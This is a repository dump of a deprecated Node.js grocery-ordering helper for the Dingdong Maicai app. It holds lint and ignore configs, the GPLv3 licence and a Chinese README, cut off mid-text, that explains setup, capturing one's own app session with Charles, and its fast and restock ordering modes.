[
  {
    "path": ".eslintrc.json",
    "content": "{\n    \"env\": {\n        \"commonjs\": true,\n        \"es2021\": true,\n        \"node\": true\n    },\n    \"extends\": \"eslint:recommended\",\n    \"parserOptions\": {\n        \"ecmaVersion\": \"latest\"\n    },\n    \"rules\": {\n        \"no-unused-vars\": \"error\",\n        \"semi\": \"error\",\n        \"no-unexpected-multiline\": \"error\",\n        \"space-before-function-paren\": [\n            \"error\",\n            \"always\"\n        ]\n    },\n    \"globals\": {\n        \"tools\": \"readonly\",\n        \"config\": \"readonly\",\n        \"logger\": \"readonly\",\n        \"axios\": \"readonly\"\n    }\n}"
  },
  {
    "path": ".gitignore",
    "content": "node_modules\ncharles_sessions/*.chlsj\nconfig/config.js\nlog/*\n*.log\nservice/dingdong/cache/*\nscripts/test.js\nservice/dingdong/api/ios-native/_native_sign.js\nservice/dingdong/api/ios-native/_native_sign.encrypted.js"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# 叮咚买菜抢菜助手（Node.js）\n![available](https://img.shields.io/badge/%E9%A1%B9%E7%9B%AE%E5%BD%93%E5%89%8D%E7%8A%B6%E6%80%81-deprecated-red.svg \"项目当前存在安全风险\") ![api_version](https://img.shields.io/badge/API%20version-9.50.1-blue.svg \"9.50.1\") ![code_size](https://shields.io/github/languages/code-size/Runc2333/dingdong-helper-node) ![last_updayed](https://shields.io/github/last-commit/Runc2333/dingdong-helper-node)\n\n> Deprecated: 因部分用户无法理解本项目的出发点，自此commit后本仓库将转化为只读，且签名算法不可用。\n>\n> 感谢所有先前使用过、听说过、参与过的用户的支持，有缘江湖再见。\n\n使用iOS客户端原生API，支持高峰期下单、支持捡漏、支持多账号、支持webhook通知（需自行实现对端）\n\nTelegram 交流群组：[点击加入](https://t.me/weneedfood)\n\n## 写在前面\n\n本项目旨在帮助更多的人能吃上饭，吃上饱饭。虽许可证允许，但我们*不支持*您通过本项目牟利。\n\n若您在满足自身需求后仍有余力，请更多的帮助身边的人，尤其是独居老人。\n\n**写给叮咚买菜官方**：本项目已尽最大努力防止贵司利益受损，包括但不限于签名算法、接口参数等。如若贵司认为本项目侵犯了贵司的权益，请邮件联系 `i@runc321.com`，我们将会停用本项目。\n\n少让程序员加班，从你我做起。\n\n## 2022-05-01 重大更新\n\n> 后续更新日志不会写到这里，如确需了解，请查阅 commits\n>\n> 建议每次更新后都执行一次依赖安装，并执行一次任意 script 检查控制台是否提示更新配置文件\n\n**使用iOS原生客户端API，下单与iOS真机无差异，已测试可成功下单。**\n\n**请注意：** 更新后配置文件结构有更改，需要重新配置。\n\n　　　　 更新前的 Session 文件不继续适用于本项目，请重新获取。\n\n特别感谢 [@IMLR](https://github.com/IMLR) 完成的`sesi`和`nars`签名算法分析。\n\n## 配置项目\n\n### 安装依赖\n\n>  若您没有 `node.js` 运行环境，请先安装 `node.js` \n>\n>  随后执行 `npm i yarn -g` (此命令可能需要管理员特权) 来全局安装`yarn`\n\n**在项目根目录启动终端，并执行如下命令以安装依赖：**\n\n\n```\nyarn\n```\n\n\n### 更改设置\n\n1、将项目`config/config.example.js`复制一份为`config/config.js`\n\n2、修改其中提供的选项\n\n```js\nwebhook_url: '', // 下单成功通知url，暂无配套实现，可自行继承，详情请阅读后文 Webhook 部分\nthread_count: 2, // 下单时创建的线程数，建议不要超过3\nthread_interval: 100, // 线程创建间隔，建议不要低于100，单位ms\nsubmit_interval_min: 20 * 1000, // 随机最小请求间隔时间，单位ms\nsubmit_interval_max: 50 * 1000, // 随机最大请求间隔时间，单位ms\nminimal_order_money: 0, // 小于该金额的订单不会被提交\napi_channel: 'ios-native', // 可选 'ios-native', 'android-native' 或 'applet', 目前仅支持 'ios-native'\nprofiles: [\n    {\n        seq: 0, // 指示程序读取charles_sessions目录下的第几个文件\n        im_secret: '',// 通过抓包获取，用于签名请求，获取请参见下文\n        alias: '', // 配置文件别名，用于在下单成功时提示是哪个账号\n    }\n],\n```\n### 获取 Session\n\n> 如果无法找到所列出的请求，请参见后文 iOS 设备 Charles 抓包帮助\n\n1、在**iOS设备**上启动叮咚买菜APP\n\n2、完成登录\n\n3、启动Charles并完成抓包配置（需要配置SSL抓包）\n\n4、点击“购物车”并刷新\n\n5、在请求中找到`https://maicai.api.ddxq.mobi/cart/index`\n\n6、右击该请求，选择`Export Session`，保存到项目`charles_sessions`文件夹下，文件类型请选择`JSON Session File (.chlsj)`\n\n### 获取 im_secret\n\n接续 获取 Session 第三步\n\n4、点击“我的”并刷新\n\n5、在请求中找到`https://sunquan.api.ddxq.mobi/api/v1/user/detail`\n\n6、左击该请求，选择`Contents`选项卡，在下半部分选项卡中选择`JSON Text`视图\n\n7、找到`user_info`下的`im_secret`字段，复制其值到配置文件中\n\n## 可用执行选项\n\n### 速抢模式\n\n> 建议抢菜高峰(06:00, 08:30)前一分钟启动，运行不要超过三分钟，否则账号会被风控\n>\n> 本项目不支持，也不会支持定时运行，所有执行选项都应在有人值守的情况下使用\n\n```\nyarn checkout:speed\n```\n\n### 捡漏模式\n\n> 建议运行不要超过一小时，否则极易被封号\n>\n> 配置文件内可调请求间隔，默认20s ~ 50s随机\n>\n> 捡漏模式中的下单步骤不受请求间隔限制，默认逻辑为同时满足购物车有货和配送时间可用时疯狂下单，因此请勿在无人值守的情况下运行\n\n```\nyarn checkout:normal\n```\n\n## iOS 设备 Charles 抓包帮助\n\n因应用可主动选择不使用系统http代理，因此您需要一个第三方应用程序来实现抓包。\n\n由 [@iiwen](https://github.com/iiwen) 撰写的 [完整图文抓包教程参见](https://www.jianshu.com/p/0191790ba30e)\n\n## Webhook\n\n> 您需要根据所使用的客户端，自行修改源代码进行适配\n\n默认情况下，在您配置好 `webhook_url` 后，下单成功时会向该地址发送一个 `POST` 请求， `body` 为 `JSON` 格式，包含如下字段：\n\n```js\n{\n\tprofile: '测试', // 配置文件中填写的别名\n\tprice: 0.01, // 本次下单金额\n\tarrival_time: '14:30-22:00', 